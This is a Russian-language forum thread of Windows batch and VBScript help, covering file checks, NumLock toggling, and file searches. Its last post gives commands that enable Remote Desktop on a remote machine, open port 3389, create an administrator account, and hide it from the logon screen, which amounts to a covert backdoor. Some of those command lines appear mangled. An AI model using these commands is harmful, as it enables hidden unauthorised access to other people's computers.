Вопросы по CMD,BAT,PowerShell

Discussion in 'Windows' started by Cthulchu, 16 Jan 2009.

  1. otRock

    otRock Elder - Старейшина

    Joined:
    13 Aug 2008
    Messages:
    0
    Likes Received:
    5
    Reputations:
    0
    ага. работает. а что на счёт мигания лампочек? очень надо. ;)
     
  2. X-3

    X-3 Member

    Joined:
    28 Mar 2009
    Messages:
    306
    Likes Received:
    58
    Reputations:
    -2
    Спанч, ТЗ вроде отличается ;)

    Code:
    @echo off
    (dir 123.exe >NUL && dir 321.exe > NUL) && (exit )
     
  3. SpangeBoB

    SpangeBoB Elder - Старейшина

    Joined:
    12 Jul 2008
    Messages:
    1,680
    Likes Received:
    393
    Reputations:
    102
    Чем?
     
  4. X-3

    X-3 Member

    Joined:
    28 Mar 2009
    Messages:
    306
    Likes Received:
    58
    Reputations:
    -2
    как проверить существуют ли файлы 123.exe и 321.exe в папке? если да, то закрыть программу. если нет - продолжить выполнение

    Ну, ты циклишь проверку этих файлов, а нужно "продолжить выполнение". Продолжить выполнение программы, я так понимаю, а не продолжить выполнение проверки на существование файлов.
     
  5. otRock

    otRock Elder - Старейшина

    Joined:
    13 Aug 2008
    Messages:
    0
    Likes Received:
    5
    Reputations:
    0
    а можно с лампочками именно через bat файл? я потом его компилю в exe.. не хочется устанавливать С++ Builder ради такой програмки\\
     
  6. SpangeBoB

    SpangeBoB Elder - Старейшина

    Joined:
    12 Jul 2008
    Messages:
    1,680
    Likes Received:
    393
    Reputations:
    102
    Если файлы существуют происходит выход,нет выполняется бесконечно.Что не так?
     
  7. otRock

    otRock Elder - Старейшина

    Joined:
    13 Aug 2008
    Messages:
    0
    Likes Received:
    5
    Reputations:
    0
    с файлами я разобрался. спс.. теперь с лампочками помогите плз)
     
  8. SpangeBoB

    SpangeBoB Elder - Старейшина

    Joined:
    12 Jul 2008
    Messages:
    1,680
    Likes Received:
    393
    Reputations:
    102
    Включить также можно через vbscript,т.к он установлен везде по умолчанию то.

    Если выполнять из bat,то сделать:

    echo set WshShell = CreateObject("WScript.Shell") >> 1.vbs
    echo WshShell.SendKeys "{NUMLOCK}" >> 1.vbs

    cscript 1.vbs
    del 1.vbs

    Список клавиш можно посмотреть на :
    http://msdn.microsoft.com/en-us/library/8c6yea83(VS.85).aspx
    И посылать через SendKeys
     
    #48 SpangeBoB, 28 Jun 2009
    Last edited: 28 Jun 2009
  9. otRock

    otRock Elder - Старейшина

    Joined:
    13 Aug 2008
    Messages:
    0
    Likes Received:
    5
    Reputations:
    0
    Огросное спасибо! разобрался.
     
    #49 otRock, 28 Jun 2009
    Last edited: 28 Jun 2009
  10. otRock

    otRock Elder - Старейшина

    Joined:
    13 Aug 2008
    Messages:
    0
    Likes Received:
    5
    Reputations:
    0
    как приостановить вополнение программы vbscript на определённое кол-во секунд?
     
  11. SpangeBoB

    SpangeBoB Elder - Старейшина

    Joined:
    12 Jul 2008
    Messages:
    1,680
    Likes Received:
    393
    Reputations:
    102
    http://msdn.microsoft.com/en-us/library/6t81adfd(VS.85).aspx
     
  12. X-3

    X-3 Member

    Joined:
    28 Mar 2009
    Messages:
    306
    Likes Received:
    58
    Reputations:
    -2
    Спанч, мы с тобой по-разному поняли условие ТЗ. Поскольку отРок разобрался с этим, предлагаю вопрос закрыть.
     
  13. otRock

    otRock Elder - Старейшина

    Joined:
    13 Aug 2008
    Messages:
    0
    Likes Received:
    5
    Reputations:
    0
    как организовать поиск файла(ов) по всем локальным дискам

    например:
    findfile 123.txt
    findfile *.txt
    findfile 123.*
    findfile *.*


    Можно на WBScript/ За ответ буду очень благодарен!!!
     
  14. SpangeBoB

    SpangeBoB Elder - Старейшина

    Joined:
    12 Jul 2008
    Messages:
    1,680
    Likes Received:
    393
    Reputations:
    102
    dir /s X:\*.txt

    Так же на powershell:
    Перебор по буквам можно организовать с помощью цикла for.
     
    #54 SpangeBoB, 9 Jul 2009
    Last edited: 9 Jul 2009
  15. Plaf-di

    Plaf-di New Member

    Joined:
    23 Mar 2009
    Messages:
    10
    Likes Received:
    4
    Reputations:
    -11
    bat-ника чтобы вызвать BSoD.... не реально?
     
    #55 Plaf-di, 16 Jul 2009
    Last edited: 3 Jan 2010
  16. Cthulchu

    Cthulchu Elder - Старейшина

    Joined:
    22 Nov 2007
    Messages:
    405
    Likes Received:
    721
    Reputations:
    85
    Встречная просьба:
    Покиньте пожалуйста сей форум и возвращайтесь через три года.
     
    2 people like this.
  17. Plaf-di

    Plaf-di New Member

    Joined:
    23 Mar 2009
    Messages:
    10
    Likes Received:
    4
    Reputations:
    -11
    Cthulchu я и несомневался что вы так ответете!!
     
  18. SpangeBoB

    SpangeBoB Elder - Старейшина

    Joined:
    12 Jul 2008
    Messages:
    1,680
    Likes Received:
    393
    Reputations:
    102
    http://technet.microsoft.com/en-us/library/cc778860(WS.10).aspx

    reg /?
    net user /?
     
    1 person likes this.
  19. PHOEN_i_X

    PHOEN_i_X Banned

    Joined:
    24 Jan 2008
    Messages:
    23
    Likes Received:
    319
    Reputations:
    -17
    Можно ли написать такой батник:

    Поиск файлов больше 1mb и открытие в explorer'e
    C:\Documents and Settings\name\Local Settings\Application Data\Opera\Opera_10.00\cache
     
    1 person likes this.
  20. PHOEN_i_X

    PHOEN_i_X Banned

    Joined:
    24 Jan 2008
    Messages:
    23
    Likes Received:
    319
    Reputations:
    -17
    Открыть порт
    PHP:
    reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 1
    или
    PHP:
    echo off
    IF [%1]==[] ( ECHO Usage: %0 computername ) ELSE (
    reg add "\\%1\HKLM\SYSTEM\CurrentControlSet\Control\Termina  l Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
    reg add 
    "\\%1\HKLM\SYSTEM\CurrentControlSet\Services\Shared  Access\Parameters\FirewallPolicy\DomainProfile\Glo  ballyOpenPorts\List" /"3389:TCP" /t REG_SZ /"3389:TCP:LocalSubNet:Enabled:Remote Desktop" /)
    pause
    Создать юзера:
    PHP:
    net user Name Pass /add
    net localgroup Administrators Name 
    /add
    net localgroup 
    "Remote Desktop Users" Name /add
    net accounts 
    /maxpwage:unlimited
    exit
    *пасс может потребываться по политике безопасности сложный

    Спрятать учетку из логона ХР:
    PHP:
    reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserLis t" /v Admin /t REG_DWORD /"00000000" /
    Admin - имя учетки
     
    4 people like this.